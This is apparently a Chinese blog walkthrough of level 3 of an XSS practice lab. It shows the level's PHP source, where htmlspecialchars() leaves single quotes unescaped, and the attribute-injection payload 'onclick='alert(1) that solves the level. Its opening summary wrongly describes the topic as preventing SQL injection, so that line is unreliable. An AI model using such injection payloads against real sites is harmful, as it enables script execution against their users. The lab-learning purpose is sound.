文章讲述了在PHP中使用htmlspecialchars函数处理用户输入以防止SQL注入攻击的过程，通过实例展示了如何避免恶意脚本执行。
这是htmlspecialchars()
看到这关想到了第二关那我们先用第二关的思路搞一下
"onclick"=alert(1)
并没有逃逸出来所以我们还是看一下源代码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错！");
window.location.href="level4.php?keyword=try harder!";
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
根据源代码我们发现这是一个'闭合
所以我们试一下这个
'onclick='alert(1)第三关成功了
扫一扫
722
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
